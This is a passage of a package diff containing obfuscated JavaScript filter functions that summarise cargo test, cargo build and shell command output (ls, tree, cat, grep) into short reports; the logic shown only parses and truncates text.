_0x3778a5['push'](_0x3778a5['shift']());}catch(_0x50dee4){_0x3778a5['push'](_0x3778a5['shift']());}}}(a0_0x1d91,0x2469d));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x4b29a7(0x19c)]=filterCargoTest,exports[a0_0x4b29a7(0x191)]=filterCargoBuild;function filterCargoTest(_0x1c3c0a){const _0x1da4c3=a0_0x4b29a7,_0x50a498=_0x1c3c0a[_0x1da4c3(0x19b)]('\x0a');let _0x5d4a2a=0x0,_0x7be01a=0x0,_0xf8b38b=0x0,_0x4b636e=0x0;const _0x15a180=[];let _0x536afa=![],_0x8f7d12=[];for(const _0x209bc9 of _0x50a498){const _0x41ac4d=_0x209bc9[_0x1da4c3(0x18c)](),_0x52fd34=_0x41ac4d[_0x1da4c3(0x1a9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x52fd34){_0x5d4a2a+=parseInt(_0x52fd34[0x2]),_0x7be01a+=parseInt(_0x52fd34[0x3]),_0xf8b38b+=parseInt(_0x52fd34[0x4]),_0x4b636e+=parseInt(_0x52fd34[0x5]);continue;}if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d===_0x1da4c3(0x182)){_0x536afa=!![];continue;}if(_0x536afa){if(_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1aa))&&_0x41ac4d['endsWith']('\x20----')){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12['join']('\x0a'));_0x8f7d12=[_0x41ac4d[_0x1da4c3(0x195)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1a8))){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));_0x8f7d12=[],_0x536afa=![];}else _0x41ac4d[_0x1da4c3(0x17b)]>0x0&&_0x8f7d12[_0x1da4c3(0x18a)](_0x209bc9);}}}if(_0x8f7d12[_0x1da4c3(0x17b)]>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));if(_0x5d4a2a===0x0&&_0x7be01a===0x0&&_0xf8b38b===0x0){if(_0x1c3c0a[_0x1da4c3(0x192)](_0x1da4c3(0x188)))return _0x1da4c3(0x198);return _0x1c3c0a;}if(_0x7be01a===0x0){const _0x48ad65=[_0x1da4c3(0x180)+_0x5d4a2a+_0x1da4c3(0x185)];if(_0xf8b38b>0x0)_0x48ad65[_0x1da4c3(0x18a)](_0xf8b38b+_0x1da4c3(0x1ab));return _0x48ad65[_0x1da4c3(0x184)](',\x20');}const _0x2b2ad6=[_0x1da4c3(0x180)+_0x5d4a2a+'\x20passed,\x20'+_0x7be01a+_0x1da4c3(0x181)+_0xf8b38b+_0x1da4c3(0x1ab)];if(_0x15a180[_0x1da4c3(0x17b)]>0x0){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x19f));const _0x35e5e9=0x3;for(let _0x244f12=0x0;_0x244f12<Math[_0x1da4c3(0x17f)](_0x15a180[_0x1da4c3(0x17b)],_0x35e5e9);_0x244f12++){const _0x51f667=_0x15a180[_0x244f12][_0x1da4c3(0x19b)]('\x0a');_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20'+(_0x244f12+0x1)+'.\x20'+_0x51f667[0x0]);const _0x12b275=_0x51f667[_0x1da4c3(0x190)](0x1),_0x47251c=_0x12b275[_0x1da4c3(0x18d)](_0x4d6d06=>_0x4d6d06[_0x1da4c3(0x18c)]()[_0x1da4c3(0x19a)](_0x1da4c3(0x197))||_0x4d6d06[_0x1da4c3(0x192)]('panicked')||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x199))||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x1a1))||_0x4d6d06[_0x1da4c3(0x192)]('right:'));for(const _0x47e924 of _0x47251c[_0x1da4c3(0x190)](0x0,0x5)){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x1ac)+_0x47e924['trim']());}}_0x15a180[_0x1da4c3(0x17b)]>_0x35e5e9&&_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20...\x20+'+(_0x15a180['length']-_0x35e5e9)+'\x20more\x20failures');}return _0x2b2ad6[_0x1da4c3(0x184)]('\x0a');}function a0_0x526b(_0x1ec4aa,_0x57e519){_0x1ec4aa=_0x1ec4aa-0x17a;const _0x1d918a=a0_0x1d91();let _0x526b33=_0x1d918a[_0x1ec4aa];return _0x526b33;}function filterCargoBuild(_0x520227){const _0x541345=a0_0x4b29a7,_0x4c25a0=_0x520227['split']('\x0a'),_0x183540=[],_0x472916=[];let _0x1d54dc=0x0;for(const _0x996468 of _0x4c25a0){const _0x96a92b=_0x996468[_0x541345(0x18c)]();if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x18e)))_0x1d54dc++;else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x17d))||_0x96a92b[_0x541345(0x19a)](_0x541345(0x187)))_0x183540['push'](_0x96a92b);else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x19e))||_0x96a92b[_0x541345(0x19a)]('error:'))_0x472916[_0x541345(0x18a)](_0x96a92b);}}}if(_0x472916[_0x541345(0x17b)]===0x0&&_0x183540[_0x541345(0x17b)]===0x0)return _0x1d54dc>0x0?'Cargo:\x20compiled\x20'+_0x1d54dc+_0x541345(0x18b):_0x520227[_0x541345(0x18c)]();const _0x242f5e=[];if(_0x472916[_0x541345(0x17b)]>0x0){_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a2)+_0x472916[_0x541345(0x17b)]+_0x541345(0x183)+_0x183540['length']+'\x20warnings'),_0x242f5e['push'](_0x541345(0x193));for(const _0x3af7c7 of _0x472916['slice'](0x0,0x5))_0x242f5e['push']('\x20\x20'+_0x3af7c7);if(_0x472916[_0x541345(0x17b)]>0x5)_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a5)+(_0x472916[_0x541345(0x17b)]-0x5)+_0x541345(0x1a7));}else _0x242f5e[_0x541345(0x18a)](_0x541345(0x18f)+_0x1d54dc+_0x541345(0x186)+_0x183540[_0x541345(0x17b)]+_0x541345(0x1a0));if(_0x183540['length']>0x0&&_0x183540[_0x541345(0x17b)]<=0x5){_0x242f5e['push']('\x0aWarnings:');for(const _0x195194 of _0x183540)_0x242f5e['push']('\x20\x20'+_0x195194);}else _0x183540[_0x541345(0x17b)]>0x5&&_0x242f5e[_0x541345(0x18a)]('\x0a('+_0x183540['length']+_0x541345(0x19d));return _0x242f5e[_0x541345(0x184)]('\x0a');}
1
+ 'use strict';function a0_0x31b6(){const _0x579032=['987190dPRPmF','Cargo:\x20compiled\x20','error[','----\x20failures\x20----','\x20ignored','1918392PkIawX','\x20warnings','panicked','9ozZiuU','3ibvaHd','\x20failed,\x20','failures:','split','1499730pAglzJ','----\x20','\x20----','join','\x20\x20...\x20+','filterCargoTest','right:','Cargo:\x20','left:','startsWith','\x20\x20\x20\x20','\x20passed','__esModule','warning:','\x0aErrors:','trim','thread','32066QUPPFs','slice','16Vuwvyf','\x20crates\x20successfully','defineProperty','min','filterCargoBuild','876595KnBBuM','replace','Cargo\x20test:\x20','length','\x20more\x20errors','\x0aWarnings:','warning[','429664Gvbrfj','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','includes','match','error:','assert','1337581xLZKpT','Cargo\x20test:\x20all\x20tests\x20passed','test\x20result:','push'];a0_0x31b6=function(){return _0x579032;};return a0_0x31b6();}const a0_0x282674=a0_0x5ecb;function a0_0x5ecb(_0x495402,_0x28f796){_0x495402=_0x495402-0x9e;const _0x31b6d6=a0_0x31b6();let _0x5ecbd1=_0x31b6d6[_0x495402];return _0x5ecbd1;}(function(_0x228cd8,_0x4b7e6c){const _0xb15d9b=a0_0x5ecb,_0x3e0bbb=_0x228cd8();while(!![]){try{const _0x510120=parseInt(_0xb15d9b(0xd0))/0x1*(-parseInt(_0xb15d9b(0xd2))/0x2)+parseInt(_0xb15d9b(0xbb))/0x3*(parseInt(_0xb15d9b(0xa8))/0x4)+parseInt(_0xb15d9b(0xa1))/0x5+parseInt(_0xb15d9b(0xbf))/0x6+parseInt(_0xb15d9b(0xae))/0x7+-parseInt(_0xb15d9b(0xb7))/0x8+-parseInt(_0xb15d9b(0xba))/0x9*(parseInt(_0xb15d9b(0xb2))/0xa);if(_0x510120===_0x4b7e6c)break;else _0x3e0bbb['push'](_0x3e0bbb['shift']());}catch(_0x576002){_0x3e0bbb['push'](_0x3e0bbb['shift']());}}}(a0_0x31b6,0x1f6d7));Object[a0_0x282674(0x9e)](exports,a0_0x282674(0xcb),{'value':!![]}),exports[a0_0x282674(0xc4)]=filterCargoTest,exports[a0_0x282674(0xa0)]=filterCargoBuild;function filterCargoTest(_0x469694){const _0x3b9f4f=a0_0x282674,_0x55d564=_0x469694['split']('\x0a');let _0x6e7501=0x0,_0x5711b3=0x0,_0xd5faa4=0x0,_0x1f31d0=0x0;const _0x314ef1=[];let _0x3b6d64=![],_0x4a7d9c=[];for(const _0x5a7f5c of _0x55d564){const _0x2a7a3a=_0x5a7f5c[_0x3b9f4f(0xce)](),_0x34f3c2=_0x2a7a3a[_0x3b9f4f(0xab)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x34f3c2){_0x6e7501+=parseInt(_0x34f3c2[0x2]),_0x5711b3+=parseInt(_0x34f3c2[0x3]),_0xd5faa4+=parseInt(_0x34f3c2[0x4]),_0x1f31d0+=parseInt(_0x34f3c2[0x5]);continue;}if(_0x2a7a3a==='failures:'||_0x2a7a3a===_0x3b9f4f(0xb5)){_0x3b6d64=!![];continue;}if(_0x3b6d64){if(_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xc0))&&_0x2a7a3a['endsWith'](_0x3b9f4f(0xc1))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));_0x4a7d9c=[_0x2a7a3a['replace'](/^-+\s*/,'')[_0x3b9f4f(0xa2)](/\s*-+$/,'')];}else{if(_0x2a7a3a===_0x3b9f4f(0xbd)||_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xb0))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c['join']('\x0a'));_0x4a7d9c=[],_0x3b6d64=![];}else _0x2a7a3a[_0x3b9f4f(0xa4)]>0x0&&_0x4a7d9c['push'](_0x5a7f5c);}}}if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));if(_0x6e7501===0x0&&_0x5711b3===0x0&&_0xd5faa4===0x0){if(_0x469694[_0x3b9f4f(0xaa)]('test\x20result:\x20ok'))return _0x3b9f4f(0xaf);return _0x469694;}if(_0x5711b3===0x0){const _0x46be46=[_0x3b9f4f(0xa3)+_0x6e7501+_0x3b9f4f(0xca)];if(_0xd5faa4>0x0)_0x46be46[_0x3b9f4f(0xb1)](_0xd5faa4+'\x20ignored');return _0x46be46[_0x3b9f4f(0xc2)](',\x20');}const _0x2e507b=[_0x3b9f4f(0xa3)+_0x6e7501+'\x20passed,\x20'+_0x5711b3+_0x3b9f4f(0xbc)+_0xd5faa4+_0x3b9f4f(0xb6)];if(_0x314ef1['length']>0x0){_0x2e507b[_0x3b9f4f(0xb1)]('\x0aFailures:');const _0x5309bd=0x3;for(let _0x28dd47=0x0;_0x28dd47<Math[_0x3b9f4f(0x9f)](_0x314ef1['length'],_0x5309bd);_0x28dd47++){const _0x25cb19=_0x314ef1[_0x28dd47][_0x3b9f4f(0xbe)]('\x0a');_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20'+(_0x28dd47+0x1)+'.\x20'+_0x25cb19[0x0]);const _0x2cd658=_0x25cb19[_0x3b9f4f(0xd1)](0x1),_0x5322ce=_0x2cd658['filter'](_0x91eb5c=>_0x91eb5c['trim']()[_0x3b9f4f(0xc8)](_0x3b9f4f(0xcf))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xb9))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xad))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xc7))||_0x91eb5c['includes'](_0x3b9f4f(0xc5)));for(const _0x47bf2b of _0x5322ce[_0x3b9f4f(0xd1)](0x0,0x5)){_0x2e507b['push'](_0x3b9f4f(0xc9)+_0x47bf2b[_0x3b9f4f(0xce)]());}}_0x314ef1[_0x3b9f4f(0xa4)]>_0x5309bd&&_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20...\x20+'+(_0x314ef1[_0x3b9f4f(0xa4)]-_0x5309bd)+'\x20more\x20failures');}return _0x2e507b[_0x3b9f4f(0xc2)]('\x0a');}function filterCargoBuild(_0x2c59ae){const _0x3874be=a0_0x282674,_0xe87cf3=_0x2c59ae[_0x3874be(0xbe)]('\x0a'),_0x7e3236=[],_0x1c3322=[];let _0x751bb5=0x0;for(const _0x4831fb of _0xe87cf3){const _0x206c87=_0x4831fb['trim']();if(_0x206c87['startsWith']('Compiling\x20'))_0x751bb5++;else{if(_0x206c87['startsWith'](_0x3874be(0xa7))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xcc)))_0x7e3236[_0x3874be(0xb1)](_0x206c87);else{if(_0x206c87[_0x3874be(0xc8)](_0x3874be(0xb4))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xac)))_0x1c3322[_0x3874be(0xb1)](_0x206c87);}}}if(_0x1c3322[_0x3874be(0xa4)]===0x0&&_0x7e3236[_0x3874be(0xa4)]===0x0)return _0x751bb5>0x0?_0x3874be(0xb3)+_0x751bb5+_0x3874be(0xd3):_0x2c59ae[_0x3874be(0xce)]();const _0x39789a=[];if(_0x1c3322[_0x3874be(0xa4)]>0x0){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc6)+_0x1c3322[_0x3874be(0xa4)]+'\x20errors,\x20'+_0x7e3236[_0x3874be(0xa4)]+'\x20warnings'),_0x39789a[_0x3874be(0xb1)](_0x3874be(0xcd));for(const _0x1a4b64 of _0x1c3322[_0x3874be(0xd1)](0x0,0x5))_0x39789a['push']('\x20\x20'+_0x1a4b64);if(_0x1c3322[_0x3874be(0xa4)]>0x5)_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc3)+(_0x1c3322['length']-0x5)+_0x3874be(0xa5));}else _0x39789a[_0x3874be(0xb1)](_0x3874be(0xb3)+_0x751bb5+'\x20crates,\x20'+_0x7e3236['length']+_0x3874be(0xb8));if(_0x7e3236[_0x3874be(0xa4)]>0x0&&_0x7e3236['length']<=0x5){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xa6));for(const _0x4bc686 of _0x7e3236)_0x39789a[_0x3874be(0xb1)]('\x20\x20'+_0x4bc686);}else _0x7e3236[_0x3874be(0xa4)]>0x5&&_0x39789a[_0x3874be(0xb1)]('\x0a('+_0x7e3236[_0x3874be(0xa4)]+_0x3874be(0xa9));return _0x39789a[_0x3874be(0xc2)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x13fcd6=a0_0x55b0;function a0_0x1660(){const _0x2fa953=['\x0a...\x20(','\x20more\x20files','3992eUyrKC','defineProperty','\x20more\x20directories','substring','9bBmZWI','104430uSpuRK','\x20matches\x20across\x20','24sIHrjK','split','Empty\x20directory','indexOf','655431XmeivM','No\x20matches\x20found','...\x20+','3547630aEXUcy','includes','filterCat','endsWith','\x20more\x20matches','267666fUBdNS','total\x20','\x20more\x20files\x20with\x20matches','\x20matches\x20in\x20this\x20file)','slice','\x20directories,\x20','trim','\x0a...\x20[','81852GdmVGl',':\x20...\x20(','2045zrCfhN','9hsyEcc','join','length','filterLs','\x20lines\x20total)','\x20files)','7063001fUhkLf','keys','startsWith','match','filter','push'];a0_0x1660=function(){return _0x2fa953;};return a0_0x1660();}(function(_0x3f8137,_0x155bfa){const _0x47e780=a0_0x55b0,_0x2a374b=_0x3f8137();while(!![]){try{const _0x1a1e4b=parseInt(_0x47e780(0x1ad))/0x1*(-parseInt(_0x47e780(0x198))/0x2)+parseInt(_0x47e780(0x188))/0x3+-parseInt(_0x47e780(0x1a9))/0x4*(parseInt(_0x47e780(0x19a))/0x5)+parseInt(_0x47e780(0x1ae))/0x6+parseInt(_0x47e780(0x190))/0x7*(-parseInt(_0x47e780(0x184))/0x8)+-parseInt(_0x47e780(0x19b))/0x9*(-parseInt(_0x47e780(0x18b))/0xa)+parseInt(_0x47e780(0x1a1))/0xb;if(_0x1a1e4b===_0x155bfa)break;else _0x2a374b['push'](_0x2a374b['shift']());}catch(_0x35c6fb){_0x2a374b['push'](_0x2a374b['shift']());}}}(a0_0x1660,0x53602));function a0_0x55b0(_0x4abc17,_0xdf2bc3){_0x4abc17=_0x4abc17-0x183;const _0x1660be=a0_0x1660();let _0x55b0c5=_0x1660be[_0x4abc17];return _0x55b0c5;}Object[a0_0x13fcd6(0x1aa)](exports,'__esModule',{'value':!![]}),exports[a0_0x13fcd6(0x19e)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x13fcd6(0x18d)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x16d20a){const _0xbdae9a=a0_0x13fcd6,_0x435528=_0x16d20a[_0xbdae9a(0x185)]('\x0a')[_0xbdae9a(0x1a5)](_0x2336ce=>_0x2336ce['trim']()[_0xbdae9a(0x19d)]>0x0);if(_0x435528[_0xbdae9a(0x19d)]===0x0)return _0xbdae9a(0x186);if(_0x435528[_0xbdae9a(0x19d)]<=0x1e)return _0x16d20a[_0xbdae9a(0x196)]();const _0x5a578d=[],_0x2e2597=[];for(const _0x622e1e of _0x435528){const _0x4c3d57=_0x622e1e[_0xbdae9a(0x196)]();if(_0x4c3d57[_0xbdae9a(0x1a3)](_0xbdae9a(0x191))||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('..'))continue;_0x4c3d57[_0xbdae9a(0x18e)]('/')||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('\x20')?_0x5a578d[_0xbdae9a(0x1a6)](_0x4c3d57):_0x2e2597[_0xbdae9a(0x1a6)](_0x4c3d57);}const _0x37eee5=[];return _0x5a578d[_0xbdae9a(0x19d)]>0x0&&(_0x5a578d[_0xbdae9a(0x19d)]<=0xf?_0x37eee5['push'](..._0x5a578d):(_0x37eee5[_0xbdae9a(0x1a6)](..._0x5a578d[_0xbdae9a(0x194)](0x0,0xa)),_0x37eee5['push'](_0xbdae9a(0x18a)+(_0x5a578d['length']-0xa)+_0xbdae9a(0x1ab)))),_0x2e2597[_0xbdae9a(0x19d)]>0x0&&(_0x2e2597[_0xbdae9a(0x19d)]<=0x14?_0x37eee5[_0xbdae9a(0x1a6)](..._0x2e2597):(_0x37eee5['push'](..._0x2e2597[_0xbdae9a(0x194)](0x0,0xf)),_0x37eee5[_0xbdae9a(0x1a6)]('...\x20+'+(_0x2e2597[_0xbdae9a(0x19d)]-0xf)+_0xbdae9a(0x1a8)))),_0x37eee5[_0xbdae9a(0x1a6)]('\x0a('+_0x5a578d['length']+_0xbdae9a(0x195)+_0x2e2597[_0xbdae9a(0x19d)]+_0xbdae9a(0x1a0)),_0x37eee5[_0xbdae9a(0x19c)]('\x0a');}function filterTree(_0x4dc540){const _0x52e2f9=a0_0x13fcd6,_0x32d2a6=_0x4dc540[_0x52e2f9(0x185)]('\x0a');if(_0x32d2a6['length']<=0x32)return _0x4dc540['trim']();const _0x407060=[];let _0x4ed701=0x0,_0x53ef29=0x0,_0x5cd0f1=0x0;for(const _0x4b4594 of _0x32d2a6){const _0x1ebf1c=_0x4b4594[_0x52e2f9(0x1a4)](/(\d+)\s+director/),_0x11472c=_0x4b4594['match'](/(\d+)\s+file/);if(_0x1ebf1c)_0x5cd0f1=parseInt(_0x1ebf1c[0x1]);if(_0x11472c)_0x53ef29=parseInt(_0x11472c[0x1]);const _0x5de894=(_0x4b4594[_0x52e2f9(0x1a4)](/^[│├└\s─]+/)||[''])[0x0][_0x52e2f9(0x19d)];_0x5de894<=0x4&&(_0x407060['push'](_0x4b4594),_0x4ed701++);}return _0x32d2a6['length']>_0x407060[_0x52e2f9(0x19d)]&&_0x407060[_0x52e2f9(0x1a6)](_0x52e2f9(0x1a7)+_0x5cd0f1+_0x52e2f9(0x195)+_0x53ef29+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x407060[_0x52e2f9(0x19c)]('\x0a');}function filterCat(_0x143872){const _0x2a0e30=a0_0x13fcd6,_0x4d893c=_0x143872[_0x2a0e30(0x185)]('\x0a');if(_0x4d893c['length']<=0x64)return _0x143872;const _0xaf1184=[];return _0xaf1184['push'](..._0x4d893c[_0x2a0e30(0x194)](0x0,0x32)),_0xaf1184[_0x2a0e30(0x1a6)](_0x2a0e30(0x197)+(_0x4d893c[_0x2a0e30(0x19d)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0xaf1184[_0x2a0e30(0x1a6)](..._0x4d893c['slice'](-0x1e)),_0xaf1184[_0x2a0e30(0x1a6)]('\x0a('+_0x4d893c['length']+_0x2a0e30(0x19f)),_0xaf1184[_0x2a0e30(0x19c)]('\x0a');}function filterGrep(_0x38dcda){const _0x19fed8=a0_0x13fcd6,_0x1e079a=_0x38dcda[_0x19fed8(0x185)]('\x0a')[_0x19fed8(0x1a5)](_0x5f0fe9=>_0x5f0fe9['trim']()['length']>0x0);if(_0x1e079a[_0x19fed8(0x19d)]===0x0)return _0x19fed8(0x189);if(_0x1e079a[_0x19fed8(0x19d)]<=0x32)return _0x38dcda[_0x19fed8(0x196)]();const _0x472cba={},_0x2f2946=[];for(const _0x1fb1af of _0x1e079a){const _0x492fb0=_0x1fb1af[_0x19fed8(0x187)](':');if(_0x492fb0>0x0&&_0x492fb0<0xc8){const _0x43330c=_0x1fb1af[_0x19fed8(0x1ac)](0x0,_0x492fb0);if(_0x43330c[_0x19fed8(0x18c)]('/')||_0x43330c[_0x19fed8(0x18c)]('\x5c')||_0x43330c[_0x19fed8(0x18c)]('.')){if(!_0x472cba[_0x43330c])_0x472cba[_0x43330c]=[];_0x472cba[_0x43330c][_0x19fed8(0x1a6)](_0x1fb1af['substring'](_0x492fb0+0x1)['trim']());continue;}}_0x2f2946[_0x19fed8(0x1a6)](_0x1fb1af);}const _0x2f689a=[],_0x634b2a=Object[_0x19fed8(0x1a2)](_0x472cba);if(_0x634b2a[_0x19fed8(0x19d)]>0x0){const _0x16ef46=0x14,_0x224daf=_0x634b2a[_0x19fed8(0x194)](0x0,_0x16ef46);for(const _0xc73d53 of _0x224daf){const _0x263db3=_0x472cba[_0xc73d53];if(_0x263db3[_0x19fed8(0x19d)]<=0x3)for(const _0x4e6084 of _0x263db3){_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x4e6084);}else _0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x263db3[0x0]),_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+_0x19fed8(0x199)+_0x263db3[_0x19fed8(0x19d)]+_0x19fed8(0x193));}_0x634b2a[_0x19fed8(0x19d)]>_0x16ef46&&_0x2f689a[_0x19fed8(0x1a6)](_0x19fed8(0x18a)+(_0x634b2a[_0x19fed8(0x19d)]-_0x16ef46)+_0x19fed8(0x192));}if(_0x2f2946[_0x19fed8(0x19d)]>0x0){const _0x59ed8d=0x1e;_0x2f689a[_0x19fed8(0x1a6)](..._0x2f2946[_0x19fed8(0x194)](0x0,_0x59ed8d)),_0x2f2946[_0x19fed8(0x19d)]>_0x59ed8d&&_0x2f689a[_0x19fed8(0x1a6)]('...\x20+'+(_0x2f2946[_0x19fed8(0x19d)]-_0x59ed8d)+_0x19fed8(0x18f));}const _0x53e310=_0x1e079a['length'];return _0x2f689a[_0x19fed8(0x1a6)]('\x0a('+_0x53e310+_0x19fed8(0x183)+(_0x634b2a['length']||'?')+'\x20files)'),_0x2f689a[_0x19fed8(0x19c)]('\x0a');}
1
+ 'use strict';const a0_0x182c7a=a0_0x470e;function a0_0x152a(){const _0x1b572e=['3840282fpDLKn','Empty\x20directory','\x20more\x20files','includes','keys','...\x20+','10KfPUCT','__esModule','17459684kUuJLj','\x0a...\x20(','10kiqmJO','filterGrep','5664177AYvMLr','filterTree','\x20lines\x20truncated]\x20...\x0a','slice','match','\x20more\x20matches','65936AJgKaZ','1259251FwudBr','\x20matches\x20in\x20this\x20file)','\x20more\x20directories','\x20files)',':\x20...\x20(','split','filter','push','\x20lines\x20total)','16eilbxV','startsWith','\x20directories,\x20','2PerDZD','defineProperty','990848SfmGfZ','filterCat','trim','endsWith','length','2287497CMLJLF','\x0a...\x20[','substring','join'];a0_0x152a=function(){return _0x1b572e;};return a0_0x152a();}(function(_0x5809a8,_0x3d0f34){const _0x1808b9=a0_0x470e,_0x403156=_0x5809a8();while(!![]){try{const _0x3ceb29=-parseInt(_0x1808b9(0x128))/0x1+-parseInt(_0x1808b9(0x135))/0x2*(-parseInt(_0x1808b9(0x13c))/0x3)+parseInt(_0x1808b9(0x137))/0x4*(parseInt(_0x1808b9(0x120))/0x5)+parseInt(_0x1808b9(0x140))/0x6+parseInt(_0x1808b9(0x129))/0x7*(-parseInt(_0x1808b9(0x132))/0x8)+parseInt(_0x1808b9(0x122))/0x9*(parseInt(_0x1808b9(0x11c))/0xa)+-parseInt(_0x1808b9(0x11e))/0xb;if(_0x3ceb29===_0x3d0f34)break;else _0x403156['push'](_0x403156['shift']());}catch(_0x2e45de){_0x403156['push'](_0x403156['shift']());}}}(a0_0x152a,0x7d935));function a0_0x470e(_0x37dba2,_0x31a14e){_0x37dba2=_0x37dba2-0x11c;const _0x152a3a=a0_0x152a();let _0x470ed6=_0x152a3a[_0x37dba2];return _0x470ed6;}Object[a0_0x182c7a(0x136)](exports,a0_0x182c7a(0x11d),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x182c7a(0x123)]=filterTree,exports[a0_0x182c7a(0x138)]=filterCat,exports[a0_0x182c7a(0x121)]=filterGrep;function filterLs(_0x3919d4){const _0x85518f=a0_0x182c7a,_0x2de4cd=_0x3919d4[_0x85518f(0x12e)]('\x0a')[_0x85518f(0x12f)](_0x128440=>_0x128440['trim']()[_0x85518f(0x13b)]>0x0);if(_0x2de4cd['length']===0x0)return _0x85518f(0x141);if(_0x2de4cd[_0x85518f(0x13b)]<=0x1e)return _0x3919d4[_0x85518f(0x139)]();const _0x18590f=[],_0x6577a3=[];for(const _0x2db643 of _0x2de4cd){const _0x431e8e=_0x2db643['trim']();if(_0x431e8e[_0x85518f(0x133)]('total\x20')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('..'))continue;_0x431e8e[_0x85518f(0x13a)]('/')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('\x20')?_0x18590f[_0x85518f(0x130)](_0x431e8e):_0x6577a3[_0x85518f(0x130)](_0x431e8e);}const _0x145f4f=[];return _0x18590f[_0x85518f(0x13b)]>0x0&&(_0x18590f[_0x85518f(0x13b)]<=0xf?_0x145f4f[_0x85518f(0x130)](..._0x18590f):(_0x145f4f[_0x85518f(0x130)](..._0x18590f[_0x85518f(0x125)](0x0,0xa)),_0x145f4f[_0x85518f(0x130)](_0x85518f(0x145)+(_0x18590f['length']-0xa)+_0x85518f(0x12b)))),_0x6577a3['length']>0x0&&(_0x6577a3[_0x85518f(0x13b)]<=0x14?_0x145f4f[_0x85518f(0x130)](..._0x6577a3):(_0x145f4f[_0x85518f(0x130)](..._0x6577a3[_0x85518f(0x125)](0x0,0xf)),_0x145f4f[_0x85518f(0x130)]('...\x20+'+(_0x6577a3[_0x85518f(0x13b)]-0xf)+_0x85518f(0x142)))),_0x145f4f[_0x85518f(0x130)]('\x0a('+_0x18590f[_0x85518f(0x13b)]+_0x85518f(0x134)+_0x6577a3['length']+_0x85518f(0x12c)),_0x145f4f[_0x85518f(0x13f)]('\x0a');}function filterTree(_0x36dfa3){const _0x4521b9=a0_0x182c7a,_0xeb9af0=_0x36dfa3[_0x4521b9(0x12e)]('\x0a');if(_0xeb9af0['length']<=0x32)return _0x36dfa3[_0x4521b9(0x139)]();const _0x50cdcc=[];let _0x1dd5dc=0x0,_0x47dead=0x0,_0x2488c6=0x0;for(const _0xbfc5c7 of _0xeb9af0){const _0x1b0526=_0xbfc5c7['match'](/(\d+)\s+director/),_0xf7dc52=_0xbfc5c7[_0x4521b9(0x126)](/(\d+)\s+file/);if(_0x1b0526)_0x2488c6=parseInt(_0x1b0526[0x1]);if(_0xf7dc52)_0x47dead=parseInt(_0xf7dc52[0x1]);const _0x50c972=(_0xbfc5c7[_0x4521b9(0x126)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x50c972<=0x4&&(_0x50cdcc['push'](_0xbfc5c7),_0x1dd5dc++);}return 